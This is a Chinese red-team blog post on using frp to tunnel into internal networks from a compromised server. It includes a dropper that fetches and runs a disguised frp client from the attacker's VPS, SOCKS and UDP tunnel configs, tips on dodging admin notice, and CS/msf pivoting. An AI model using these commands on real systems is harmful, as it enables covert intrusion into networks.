FRP 內網穿透

凌天labs發表於2019-08-23

一、前言

在HW過程中(真是令人折磨的過程),核心目標系統通常處於內網,攻擊的方式也基本上是通過暴露在網際網路的機器獲取許可權並將其作為跳板機,再進行進一步的內網滲透

 

獲取一臺應用系統的許可權之後,我們可能需要對目標內部網路進行資訊收集、服務探測、指紋識別、發起攻擊等等過程,通常需要對一個C段乃至B段傳送大量的資料包,因此一個穩定的內網穿透手段成為了重中之重

 

在以往的滲透中,拿到了伺服器許可權後,個人最常使用的內網代理方式是 reGeorg + Proxifier/proxychains,雖然是指令碼代理的方式,但使用快捷方便,能夠迅速訪問到內部網,真的是日站滲透必備良藥。可能是由於個人習慣原因,更喜歡在本地直接能開啟對方的內網地址,使用自己電腦的常用工具進行工作,因此基本上首選就是這類指令碼代理形式

 

但是隨著目標內網環境越來越大,這種指令碼形式代理的侷限性越來越明顯

 

除指令碼外,還多次嘗試過使用 CS+MSF 來進行內網控制,emmmmm 只能說有利有弊,具體環境的搭建在公眾號“凌天實驗室”或安百資訊平臺中都發布了教程

 

在最近的HW中,一位老鐵(某廠大佬)跟我推薦了 frp 內網穿透,於是就來嘗試一下,網上關於 frp 的文章也還不少,但似乎都淺嘗輒止,而且在 frp 不斷更新中,更新了諸多新鮮特性,這次抽出幾天時間著重測試一下,看看效果怎麼樣

二、簡介

專案地址:https://github.com/fatedier/frp

 

在網路上可以搜尋到諸多安裝部署教程,可以看到 frp 是一個可用於內網穿透的高效能的反向代理應用,支援 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支援了點對點穿透

 

frp 採用go語言開發,如果你擅長此種程式語言,可以進行客製化修改,來滿足不同的需求

 

更多的人使用 frp 是為了進行反代,滿足通過公網伺服器訪問處於內網的服務,如訪問內網web服務,遠端ssh內網伺服器,遠端控制內網NAS等,實現類似花生殼、ngrok等功能

 

而對於內網滲透來講,這種功能恰好能夠滿足我們進行內網滲透的流量轉發

三、安裝與配置

對於不同作業系統的使用者,frp 提供了對應不同的軟體,各位按需下載即可

安裝也沒什麼好裝的,畢竟我們又看不懂 go 語言原始碼,把人家釋出的的 release 下回來就得了

 

重點在於這個軟體的配置檔案,以及它的功能能在我們滲透中帶來什麼作用

 

首先這個工具有兩端,服務端和客戶端,服務端部署在我們具有公網IP的伺服器上,客戶端放在我們拿到許可權的跳板伺服器上,雙端都需要對配置檔案進行配置,我們先來完整的看一下雙端的配置檔案

 

服務端:https://github.com/fatedier/frp/blob/master/conf/frps_full.ini

# [common] 是必需的
[common]
# ipv6的文字地址或主機名必須括在方括號中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
bind_addr = 0.0.0.0
bind_port = 7000

# udp nat 穿透埠
bind_udp_port = 7001

# 用於 kcp 協議 的 udp 埠,可以與 "bind_port" 相同
# 如果此項不配置, 服務端的 kcp 將不會啟用 
kcp_bind_port = 7000

# 指定代理將偵聽哪個地址,預設值與 bind_addr 相同
# proxy_bind_addr = 127.0.0.1

# 如果要支援虛擬主機,必須設定用於偵聽的 http 埠(非必需項)
# 提示:http埠和https埠可以與 bind_port 相同
vhost_http_port = 80
vhost_https_port = 443

# 虛擬 http 伺服器的響應頭超時時間(秒),預設值為60s
# vhost_http_timeout = 60

# 設定 dashboard_addr 和 dashboard_port 用於檢視 frps 儀表盤
# dashboard_addr 預設值與 bind_addr 相同
# 只有 dashboard_port 被設定,儀表盤才能生效
dashboard_addr = 0.0.0.0
dashboard_port = 7500

# 設定儀表盤使用者密碼,用於基礎認證保護,預設為 admin/admin
dashboard_user = admin
dashboard_pwd = admin

# 儀表板資產目錄(僅用於 debug 模式下)
# assets_dir = ./static
# 控制檯或真實日誌檔案路徑,如./frps.log
log_file = ./frps.log

# 日誌級別,分為trace(跟蹤)、debug(除錯)、info(資訊)、warn(警告)、error(錯誤) 
log_level = info

# 最大日誌記錄天數
log_max_days = 3

# 認證 token
token = 12345678

# 心跳配置, 不建議對預設值進行修改
# heartbeat_timeout 預設值為 90
# heartbeat_timeout = 90

# 允許 frpc(客戶端) 繫結的埠,不設定的情況下沒有限制
allow_ports = 2000-3000,3001,3003,4000-50000

# 如果超過最大值,每個代理中的 pool_count 將更改為 max_pool_count
max_pool_count = 5

# 每個客戶端可以使用最大埠數,預設值為0,表示沒有限制
max_ports_per_client = 0

# 如果 subdomain_host 不為空, 可以在客戶端配置檔案中設定 子域名型別為 http 還是 https
# 當子域名為 test 時, 用於路由的主機為 test.frps.com
subdomain_host = frps.com

# 是否使用 tcp 流多路複用,預設值為 true
tcp_mux = true

# 對 http 請求設定自定義 404 頁面
# custom_404_page = /path/to/404.html

客戶端:https://github.com/fatedier/frp/blob/master/conf/frpc_full.ini

# [common] 是必需的
[common]
# ipv6的文字地址或主機名必須括在方括號中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
server_addr = 0.0.0.0
server_port = 7000

# 如果要通過 http 代理或 socks5 代理連線 frps,可以在此處或全域性代理中設定 http_proxy
# 只支援 tcp協議
# http_proxy = http://user:passwd@192.168.1.128:8080
# http_proxy = socks5://user:passwd@192.168.1.128:1080

# 控制檯或真實日誌檔案路徑,如./frps.log
log_file = ./frpc.log

# 日誌級別,分為trace(跟蹤)、debug(除錯)、info(資訊)、warn(警告)、error(錯誤)
log_level = info

# 最大日誌記錄天數
log_max_days = 3

# 認證 token
token = 12345678

# 設定能夠通過 http api 控制客戶端操作的管理地址
admin_addr = 127.0.0.1
admin_port = 7400
admin_user = admin
admin_pwd = admin

# 將提前建立連線,預設值為 0
pool_count = 5

# 是否使用 tcp 流多路複用,預設值為 true,必需與服務端相同
tcp_mux = true

# 在此處設定使用者名稱後,代理名稱將設定為  {使用者名稱}.{代理名}
user = your_name

# 決定第一次登入失敗時是否退出程式,否則繼續重新登入到 frps
# 預設為 true
login_fail_exit = true

# 用於連線到伺服器的通訊協議
# 目前支援 tcp/kcp/websocket, 預設 tcp
protocol = tcp

# 如果 tls_enable 為 true, frpc 將會通過 tls 連線 frps
tls_enable = true

# 指定 DNS 伺服器
# dns_server = 8.8.8.8

# 代理名, 使用 ',' 分隔
# 預設為空, 表示全部代理
# start = ssh,dns

# 心跳配置, 不建議對預設值進行修改
# heartbeat_interval 預設為 10 heartbeat_timeout 預設為 90
# heartbeat_interval = 30
# heartbeat_timeout = 90

# 'ssh' 是一個特殊代理名稱
[ssh]
# 協議 tcp | udp | http | https | stcp | xtcp, 預設 tcp
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 是否加密, 預設為 false
use_encryption = false
# 是否壓縮
use_compression = false
# 服務端埠
remote_port = 6001
# frps 將為同一組中的代理進行負載平衡連線
group = test_group
# 組應該有相同的組金鑰
group_key = 123456
# 為後端服務開啟健康檢查, 目前支援 'tcp' 和 'http' 
# frpc 將連線本地服務的埠以檢測其健康狀態
health_check_type = tcp
# 健康檢查連線超時
health_check_timeout_s = 3
# 連續 3 次失敗, 代理將會從服務端中被移除
health_check_max_failed = 3
# 健康檢查時間間隔
health_check_interval_s = 10

[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 如果 remote_port 為 0 ,frps 將為您分配一個隨機埠
remote_port = 0

# 如果要暴露多個埠, 在區塊名稱前新增 'range:' 字首
# frpc 將會生成多個代理,如 'tcp_port_6010', 'tcp_port_6011'
[range:tcp_port]
type = tcp
local_ip = 127.0.0.1
local_port = 6010-6020,6022,6024-6028
remote_port = 6010-6020,6022,6024-6028
use_encryption = false
use_compression = false

[dns]
type = udp
local_ip = 114.114.114.114
local_port = 53
remote_port = 6002
use_encryption = false
use_compression = false

[range:udp_port]
type = udp
local_ip = 127.0.0.1
local_port = 6010-6020
remote_port = 6010-6020
use_encryption = false
use_compression = false

# 將域名解析到 [server_addr] 可以使用 http://web01.yourdomain.com 訪問 web01
[web01]
type = http
local_ip = 127.0.0.1
local_port = 80
use_encryption = false
use_compression = true
# http 協議認證
http_user = admin
http_pwd = admin
# 如果服務端域名為 frps.com, 可以通過 http://test.frps.com 來訪問 [web01] 
subdomain = web01
custom_domains = web02.yourdomain.com
# locations 僅可用於HTTP型別
locations = /,/pic
host_header_rewrite = example.com
# params with prefix "header_" will be used to update http request headers
header_X-From-Where = frp
health_check_type = http
# frpc 將會傳送一個 GET http 請求 '/status' 來定位http服務
# http 服務返回 2xx 狀態碼時即為存活
health_check_url = /status
health_check_interval_s = 10
health_check_max_failed = 3
health_check_timeout_s = 3

[web02]
type = https
local_ip = 127.0.0.1
local_port = 8000
use_encryption = false
use_compression = false
subdomain = web01
custom_domains = web02.yourdomain.com
# v1 或 v2 或 空
proxy_protocol_version = v2

[plugin_unix_domain_socket]
type = tcp
remote_port = 6003
plugin = unix_domain_socket
plugin_unix_path = /var/run/docker.sock

[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc

[plugin_static_file]
type = tcp
remote_port = 6006
plugin = static_file
plugin_local_path = /var/www/blog
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_https2http]
type = https
custom_domains = test.yourdomain.com
plugin = https2http
plugin_local_addr = 127.0.0.1:80
plugin_crt_path = ./server.crt
plugin_key_path = ./server.key
plugin_host_header_rewrite = 127.0.0.1

[secret_tcp]
# 如果型別為 secret tcp, remote_port 將失效
type = stcp
# sk 用來進行訪客認證
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

# 訪客端及服務端的使用者名稱應該相同
[secret_tcp_visitor]
# frpc role visitor -> frps -> frpc role server
role = visitor
type = stcp
# 要訪問的伺服器名稱
server_name = secret_tcp
sk = abcdefg
# 將此地址連線到訪客 stcp 伺服器
bind_addr = 127.0.0.1
bind_port = 9000
use_encryption = false
use_compression = false

[p2p_tcp]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

[p2p_tcp_visitor]
role = visitor
type = xtcp
server_name = p2p_tcp
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 9001
use_encryption = false
use_compression = false

對於配置檔案,frp 官方有中文文件,已經十分詳盡

 

不得不說,雖然程式號稱還處於開發中,但是通過配置檔案可以看到已經支援很多好用的功能了,接下來根據在滲透測試中不同的需要來測試一下

四、功能性測試

本次測試模擬攻擊者入侵網站進行滲透測試
攻擊者電腦:macbookpro 192.168.88.101
攻擊者VPS:ubuntu 103.242.135.137
被入侵的伺服器:centos 10.10.99.33
內網其他應用:內網印表機 10.10.65.9

 

為了方便檢視及除錯,在測試過程中將持續開啟服務端web頁面,服務端配置為:

[common]
bind_addr = 0.0.0.0
bind_port = 7000

# IP 與 bind_addr 預設相同,可以不設定
# dashboard_addr = 0.0.0.0
# 埠必須設定,只有設定web頁面才生效
dashboard_port = 7500
# 使用者密碼保平安
dashboard_user = su18
dashboard_pwd = X758@Kp9eG1xzyYS

# 允許客戶端繫結的埠
allow_ports = 40000-50000

執行服務後可看到web端

 

 

為了方便測試,在滲透測試機上建立檔案

 

http://103.242.135.137/3Edsr9I

 

檔案內容:

# 這裡是要下載不同版本的 frp 檔案
wget https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_linux_amd64.tar.gz -o /tmp/yU6te2.tar.gz
tar -zx /tmp/yU6te2.tar.gz frp_0.28.2_linux_amd64/frpc --strip-components 1
mv frpc deamon
rm -rf /tmp/yU6te2.tar.gz
# 這裡寫客戶端配置檔案
echo -e "[common]\nserver_addr = 103.242.135.137\nserver_port = 7000\ntls_enable = true\npool_count = 5\n\n[plugin_socks]\ntype = tcp\nremote_port = 46075\nplugin = socks5\nplugin_user = joseph\nplugin_passwd = bnbm#yBZ90ad\nuse_encryption = true\nuse_compression = true" > delphi.ini
# 啟動
nohup ./deamon -c delphi.ini &

指令碼比較簡單不多說了

1.socks協議代理

首先最簡單常用的就是socks協議代理,這一功能在 frp 中是以外掛的形式實現的

 

客戶端配置:

[common]
# 遠端VPS地址
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5


[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = joseph
plugin_passwd = bnbm#yBZ90ad
use_encryption = true
use_compression = true

在被入侵的伺服器上執行如下命令一鍵部署

 

wget http://103.242.135.137/3Edsr9I >/dev/null 2>&1 && chmod +x 3Edsr9I && ./3Edsr9I && rm -rf 3Edsr9I

 

可以看到 Client Counts 及 Proxy Counts 均產生了變化

此時我們將流量通過 socks 協議指到服務端,是用 shadowsocks/Proxifier/proxychains 就看個人愛好了

 

我的愛好是 Proxifier,配置好 socks IP/埠/身份認證 後可以看到成功代理訪問到內網印表機

因為在滲透測試過程中一直使用 reGeorg + Proxifier,跟這種實際上是差不多的

 

如果常用的工具中有指定代理的功能,也可以直接進行配置,無需 Proxifier 等工具,例如 Burpsuite

在大多數情況下,到目前為止簡單的配置已經能夠滿足大部分的需求,說白了作為一名 web 狗,你會的攻擊手段90% 是 http 協議,可能還會用點 msf,發點 tcp 流的攻擊 payload 等等,總而言之基本上都是 tcp 協議的攻擊

 

而至於 UDP,socks5 協議在本質上是已經支援 UDP 協議,雖然協議是支援了,但是你所使用的工具、代理、軟體等端級的程式碼並不一定能夠支援,這將會直接導致 UDP 協議的資料包無法進行互動

2.UDP協議代理

frp 也同時能夠對 UDP 協議進行轉發,配置上與 tcp 也是差不多的,基本上就是埠轉發,把你想要傳送資料包的埠通過隧道對映出來,配置上沒什麼難度

[dns]
type = udp
local_ip = *.*.*.*
local_port = *
remote_port = 42231

對於UDP協議的測試,我們使用比較常見的SNMP協議和DNS協議來測試

 

首先是SNMP協議,埠161,在滲透測試過程中掃內網的時候,難免會遇見兩個印表機,在攻擊印表機的時候基本是抱著蚊子再小也是肉的情況去滲透的

 

但是在一次滲透中,對於伺服器段的工作已經完成了,想要進一步的入侵管理員的辦公網段,掃了很久都沒有得到有效的網段,於是想到了印表機,通過 snmp 協議和 惠普的 pjl 來獲得敏感資訊,拿出了連線印表機的網段,並後續成功打入管理員電腦

 

這次就依舊來複現一下這個過程,我們通過 frp 隧道對公司內網印表機 10.10.65.9 進行攻擊,使用的是印表機攻擊框架 PRET,簡單的列印一個文件

下圖可以看到成功列印(吹一波 ver007,哈哈)

可以利用這個框架進行很多的操作,這裡不細說了

 

接下來我們測試 DNS,DNS 接觸的更多,UDP 53埠,將域名解析成為IP

 

模擬一下場景,首先對於目標來說,有很多的子域名,這些子域名解析為內網 IP 地址,我們在得到一臺伺服器許可權後,通過掃描 53 埠或其他手段找到了內網的 DNS 伺服器,接下來我們將 DNS 解析指到內網伺服器上,因此我們就可以通過域名訪問內網伺服器,也可以指定 DNS 伺服器進行子域名爆破,來發現更多的資產

 

用於測試的內網 DNS 伺服器為 10.10.100.132,將多個 baidu.com的子域名解析到了內網地址,而被入侵的伺服器沒有指定這個DNS,我們需要掃描埠發現 DNS 伺服器,然後進行 DNS 解析指定及子域名爆破

 

首先對內目標網段的 53 埠進行掃描探測,掃描埠使用 TCP 協議就可以,所以先使用原先的代理掃描,這部分比較簡單就不截圖了

 

然後再客戶端新增配置,重新啟動服務:

[dns]
type = udp
local_ip = 10.10.100.132
local_port = 53
remote_port = 40053
use_encryption = true
use_compression = true

使用 dig 命令測試一下對 www.baidu.com 的解析,可以看得到域名成功解析到我們設定的 10.10.232.22,證明內網代理成功

直接現場造個玩具車輪子指定DNS伺服器查詢子域名:

可以看到一些在內網DNS伺服器上事先設定好的子域名如 vpn/oa/test/admin/mail/m 等等被解析到了內網IP地址中

3.點對點( stcp 與 xtcp )

安全地暴露內網服務(secret tcp)以及 xtcp 都是frp提供的點對點傳輸服務,xtcp用於應對在希望傳輸大量資料且流量不經過伺服器的場景,這就直接是一個 p2p 的隧道

 

根據官方文件,這種協議不能穿透所有型別的 NAT 裝置,所以穿透成功率較低。穿透失敗時可以嘗試 stcp 的方式

 

其實 stcp 就相當於再新增一次認證,改一次配置檔案即可,我們直接測試一下 xtcp

 

伺服器端新增UDP繫結埠:

bind_udp_port = 7001

客戶端1(被入侵的伺服器)配置檔案:

[common]
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5


[p2p_socks]
type = xtcp
remote_port = 46075
sk = HjnllUwX5WiRD5Ij
plugin = socks5

客戶端2(攻擊者電腦--我的mac)配置檔案:

[common]
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5


[p2p_socks_visitor]
type = xtcp
role = visitor
server_name = p2p_socks
sk = HjnllUwX5WiRD5Ij
bind_addr = 127.0.0.1
bind_port = 1086

激動人心的時刻到了

沒錯,報了一螢幕的 i/o timeout

 

驚不驚喜,意不意外

 

frp 所謂的 xtcp 協議,應用的應該是一個 UDP 打洞的過程(瞎猜的,反正也懶得看原始碼,看也看不懂)

 

過程:

1、準備一臺伺服器,放在公網上,與客戶端甲和乙通訊,記錄客戶端甲和乙的 IP 和埠資訊,這些IP和埠並非甲和乙在內網的IP和埠,而是通過NAT方式對映到路由器上的IP和埠。
2、客戶端甲向伺服器傳送udp訊息,請求和客戶端乙通訊。
3、伺服器向客戶端甲傳送訊息,訊息內容包含客戶端乙的IP和埠資訊。
4、伺服器向客戶端乙傳送訊息,訊息內容包含客戶端甲的IP和埠資訊。
5、客戶端甲根據3步驟獲得的資訊向客戶端乙傳送udp訊息,同一時刻客戶端乙根據3步驟獲得的資訊向客戶端甲傳送udp訊息,嘗試多次,udp打洞就能成功。

 

這種打洞只支援 ConeNAT(錐形 NAT),不支援 Symmetric NAT (對稱NAT),因此沒辦法能夠支援全部的 NAT方式,更何況,你知道你在訪問公網的時候中間經過了多少層 NAT 嗎,因此這項功能不用糾結,不好用就不好用,靜待更好的解決方案。

4.負載均衡

如果我們在內網拿到了多臺能夠訪問網際網路機器,可以啟用多臺客戶端,進行負載均衡,畢竟突然從一臺機器迸發出大量流量很容易引起管理員的注意,也可以負載分擔一下機器的CPU資源消耗

 

目前只支援 TCP 和 HTTP 型別的 proxy,但是之前說過,作為web狗完全夠用

 

我們使用兩臺被入侵的伺服器作為負載均衡,IP分別為 10.10.99.33 和 10.10.100.81

 

伺服器一、二配置相同:

[common]
# 遠端VPS地址
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5


[plugin_socks]
# [plugin_socks_2]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = joseph
plugin_passwd = bnbm#yBZ90ad
use_encryption = true
use_compression = true
group = socks_balancing
group_key = NGbB5#8n

這部分相同的點是 group/group_key/remote_port,兩臺伺服器名是不同的

 

部署完成後可以在管理端看到這兩個外掛

再次連線代理時,可以發現兩個客戶端都產生了流量

我們再設定一臺web應用伺服器,IP地址為 10.10.100.135

在瀏覽器中開啟網址並多次重新整理,在 apache 的日誌中發現了來自兩個IP的訪問

這說明負載均衡的功能是好用的,很強勢

5.其他功能

轉發 Unix 域套接字:單個主機通訊協議,一般用不上

 

對外提供檔案訪問服務:這估計是滲透測試工程師最不需要的功能

 

http轉https:沒用

 

加密與壓縮:這兩個功能可以看到我都啟用了

 

TLS加密:這個我也開了,安全性更高

 

客戶端UI/熱載入配置/檢視狀態:普通情況下是可以不用的,但是前期資產發現過程需要多次配置的情況,或者上線新機器做負載均衡的時候可以使用,不過熱載入還是需要等一段時間才能夠生效,性子急的我表示等不了

 

埠白名單:這裡我指定了 40000-50000

 

web相關的:很多功能是為了將內網web轉至公網,對我們來講基本不用

 

通過代理連線 frps:在特殊情況下可能是有用的,但是暫時沒用

 

範圍埠對映:這個貌似也沒什麼用

 

子域名:在找到內網DNS解析伺服器的情況下可以不進行配置,如果沒找到,但是知道內網 IP 和域名的對應關係,且伺服器只可以通過域名訪問的情況下可以使用這項配置,但我覺得都不如綁個host來的快

 

KCP協議:KCP是一個快速可靠協議,能以比 TCP浪費10%-20%的頻寬的代價,換取平均延遲降低 30%-40%,且最大延遲降低三倍的傳輸效果,在頻寬很足但延遲較高的情況下可以使用 kcp 協議進行資料通訊,未測試

 

等等

五、效能測試

效能測試,將使用 socks5 協議進行代理,nmap 掃描內網 C 段全埠,以及 SQLMAP level 5 risk 3 threads 10 對內網漏洞靶場進行 sql 注入測試。使用兩臺內網伺服器進行負載均衡,來測試一下速度和準確性

1. NMAP 掃描全埠測試

proxychains + nmap 掃 10.10.100.0/24 全埠

因為 socks 協議沒法代理 icmp ,因此 nmap 引數使用了 -Pn 避免 nmap 使用 ping 來檢測主機存活,nmap 會無論是否有存活主機均掃描完全部的埠

 

對於不存在的主機 nmap 的速度大概在 3分半 一臺機,

 

將這個完整的網段掃完,大概需要兩天的時間,感覺速度還是可以接受的

 

趁著公司網管出差掃了一波內網美滋滋,要不然分分鐘被封

2. SQLMAP 完全體注入測試

使用內網 mongodb 的注入靶場試試

SQLMAP自帶設定代理的選項,我們新增一些引數,然後進行測試

設定代理

GO~

 

流量也成功被負載

因為我的上行網速確實是感人,我還開了網易雲音樂,所以客觀上速度確實慢點

 

從開始到結束一共耗時 3 個小時左右,因為 sqlmap 不支援 mongodb,所以沒有結果

 

這個速度,額。。。。

六、配合性測試

對內網進行資訊探測時,簡直是八仙過海各顯神通,每位滲透測試工程師,每個團隊都有自己常用的手段,內網穿透的方式也不同,所以各位看官在將 frp 用於實際工作中之前一定要自測,是否滿足自己的習慣。

 

在最近幾次 HW 中,見到非常多的隊伍在拿到伺服器許可權後,將自己的工具包直接拖到入侵的伺服器上,各種小工具,各種exe,掃埠的,掃 IIS PUT 的,掃 17010 的等等,說真的,我都偷偷儲存下來,蒐集了不少,哈哈哈

 

不是說這種方式不行,而是太不優雅了,不符合一天要敷8張面膜的妮妮爾優雅大使洛洛梨的典雅氣質(能看懂這句話的都是變態QAQ),因此我們通常使用一些後滲透測試框架進行集中管理,比如 CS msf 等

 

如果我們希望使用 CS 進行總控,frp 作為資料通訊隧道,使用msf進行攻擊,其實也可以實現

 

接下來再模擬一個場景,我們拿到一臺伺服器,CS 上線,使用 frp 隧道建立連線,msf 使用 frp 隧道進行攻擊,獲取 session 後再轉給 CS ,很簡單的過程

 

frp 服務端地址:103.242.135.137

 

CS 服務端地址:144.48.9.229

 

被入侵的第一臺伺服器地址:10.10.99.33

 

第二臺被入侵伺服器地址: 192.168.88.85(虛擬機器)

 

首先得到第一臺被入侵伺服器的許可權,設定 frp 客戶端

配置 frp 服務端:

[common]
bind_addr = 0.0.0.0
bind_port = 7000
bind_udp_port = 7001

dashboard_port = 7500
dashboard_user = su18
dashboard_pwd = X758@Kp9eG1xzyYS

配置 frp 客戶端:

[common]
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5


[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
use_encryption = true
use_compression = true
group = socks_balancing
group_key = NGbB5#8n

配置成功後可以看到線上出現一臺代理

接下來使用 proxychains + msf 進行組合攻擊,再將 session 轉到 cs 中,套路比較常見無需多言,也就沒截圖

 

我們直接跳到 CS 2.6 管理介面(實際上就是 Armitage ),如下圖,不小心點了一下 ARP 探測

再次現場造一個玩具車輪子,這次是 cs的外掛,簡單造一個

 

匯入外掛,並選擇

配置保持一致:

執行,在服務端上可看到成功啟動負載均衡

對於 3.X 版的 CS 指令碼在 Github 上可以找到,未進行測試:

 

https://github.com/Ch1ngg/AggressorScript-UploadAndRunFrp

 

那為什麼有了 CS 和 msf 還要用 frp 呢?第一是負載均衡的功能,第二是網路連線速度的問題,利和弊各位自己測試及衡量

 

另外 CS 新版本不支援 msf ,舊版本支援,如果你喜歡折騰,可以舊版本 CS + MSF 獲取許可權,新版本 CS 維持許可權,frp 內網穿透,proxychains 代理服務,這一套操作下來,你就發現自己有點像電影裡的“黑客”了

七、總結

由於本人最常用reGeorg,所以將這兩者進行著重的對比,雖然兩者實現方式不同,本質上沒什麼可比性,還是就幾個方面羅列一下差別

 

在利用難度上,對於reGeorg來說,只需要獲取網站的檔案上傳許可權即可,對於 frp 來說,需要伺服器的執行命令許可權

 

在環境限制上,frp 要求入侵伺服器能夠訪問外部網路,reGeorg 則不需要,frp 需要一臺公網IP的伺服器執行服務端,reGeorg 也不需要,就如同正反向 shell 的差別

 

在功能上,frp 提供繁多功能,滿足不同的需求,reGeorg 簡直弱爆了

 

在效能上,但從 frp 支援負載均衡和點對點傳輸上簡直完爆其他內網穿透工具了,真的,效能自然不必多說

 

至於其他類別的內網穿透,利與弊各位自己衡量,感覺單看內網穿透這個功能可能是目前地表最強了(僅個人觀點)~

 

總體來講,很強的一款代理工具

相關文章